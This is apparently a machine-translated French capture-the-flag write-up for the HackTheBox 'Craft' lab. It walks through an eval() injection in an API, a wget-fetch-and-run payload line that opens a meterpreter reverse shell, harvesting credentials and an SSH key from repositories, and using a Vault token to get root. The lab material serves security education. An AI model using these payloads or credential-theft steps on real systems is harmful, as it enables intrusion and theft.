Dans cet article, je vais commencer à publier des solutions envoyées pour
un traitement ultérieur à partir du site
HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Nous verrons comment vous pouvez exploiter RCE dans l'API, explorer les référentiels Gogs, travailler avec des bases de données et gérer le système de stockage et de gestion des secrets de Vault.
La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur professionnel ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)
Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaîne dans Telegram et un
groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations
personnelles et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
Intelligence
Balayage de port
Cette machine a une adresse IP de 10.10.10.110, que j'ajoute à / etc / hosts.
10.10.10.110 craft.htb
Tout d'abord, nous analysons les ports ouverts à l'aide de nmap et spécifions l'option -A pour obtenir autant d'informations que possible sur les services découverts.
nmap -A craft.htb

Sur la machine, nous voyons le service ssh, ainsi qu'un serveur Web fonctionnant sur le port 443. Si vous allez sur le serveur Web, il nous est proposé de regarder l'API.

Lorsque nous essayons de regarder l'API et git, on nous parle de sites inconnus.

Par conséquent, nous ajoutons les deux noms de domaine à / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
Maintenant, les deux liens s'ouvrent. L'API Craft est censée être une interface pour travailler avec l'API, donc pour les débutants, nous devons comprendre comment cela fonctionne, avec lequel Gogs nous aidera.

Point d'entrée
Dans git, la première chose à vérifier est les commits.

Après avoir passé les commits, dans 10e3ba4f0a, nous trouvons les données d'authentification de l'utilisateur.

Une fois connecté à Gogs par correspondance, nous trouvons une mention sur le bug.

En cliquant sur le lien, nous découvrons comment s'effectue la vérification dans la fonction eval (), ce qui est très dangereux, puisque vous pouvez exécuter du code dans cette fonction.

Pour tester l'hypothèse, dans la console python locale, nous allons faire un analogue de la fonction, et essayer d'appeler la fonction «system ()» à partir du module «os».

Le code a été exécuté avec succès! Vous devez maintenant écrire un exploit afin de rétablir la connexion. À la première étape, copiez le code d'authentification et de réception de jetons.
Dans ce code, notre charge est passée dans le paramètre "abv", donc pour vérifier l'hypothèse RCE, nous remplaçons la chaîne '15 .0 'par "__import __ (' os '). System (' ping your_ip ')".
Nous ouvrons tcpdump, indiquant quelle interface écouter et filtrer uniquement les paramètres des paquets ICMP et lancer l'exploit.


Nous observons que nous avons pu nous cingler à partir d'un hôte distant. Maintenant, nous lançons le back-connect. Cela peut être fait via nc, mais prenons un shell mètre-mètre. Pour ce faire, générez une charge à l'aide de msfvenom. Nous spécifions la charge elle-même (reverse_tcp), l'hôte local et le port (LHOST, LPORT), et le format de fichier est elf.

En même temps, nous activons le serveur Web local. Configurez maintenant l'écouteur dans msfconsole. Pour ce faire, définissez les paramètres, comme dans la charge.

Nous écoutons les connexions entrantes, maintenant nous devons charger la charge sur l'hôte et la démarrer.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
Dans la fenêtre métasplit, nous voyons une connexion entrante.

UTILISATEUR
Lançons le shell et voyons avec qui nous travaillons.

Selon la conclusion du terminal, nous pouvons supposer que nous sommes à l'intérieur du conteneur Docker. Jetez un oeil à l'hôte.

Il existe un fichier exécutable dbtest.py. Vous devriez le regarder.

Le programme se connecte à la base de données et exécute la commande avec la sortie suivante. Regardons autour de la base de données. Pour ce faire, j'ai lancé la console python interactive sur l'hôte et copié tout le code dedans avant l'exécution de la commande.

Nous allons maintenant demander des tableaux.

En conséquence, nous avons renvoyé 2 enregistrements. Étant donné que le curseur.fetchone () génère une entrée, nous effectuerons deux de ces sorties.

Nous avons donc eu 2 tables. L'utilisateur est plus intéressant. Nous affichons toutes les données de ce tableau.

Et il y a 3 entrées dedans.

Et nous obtenons des crédits utilisateurs. Après les avoir essayés sur ssh et ayant échoué, nous essayons d'entrer dans git. Et il s'avère que vous vous connectez en tant que gilfoyle. Et il a un référentiel fermé.


Le répertoire .ssh est très intéressant. Il y a deux clés et nous récupérons la clé privée.

Nous essayons de nous connecter via ssh avec cette clé.

RACINE
La première chose à regarder dans le répertoire de l'utilisateur.

Nous trouvons un jeton dans le coffre-fort.

Après avoir traité du
coffre -
fort , je dirai qu'il s'agit d'un système de stockage et de gestion des secrets qui contient des données au format clé / valeur, accessibles par un jeton. Vérifiez si le stockage est configuré.

Jetons
un œil à la liste des secrets .

Ainsi, nous voyons que l'
accès à ssh est configuré .

Maintenant, nous entrons le mot de passe unique qui nous a été donné et nous sommes dans le système en tant que root.

Vous pouvez nous rejoindre sur
Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pouvons toujours nous entraider pour tout problème informatique et de sécurité de l'information.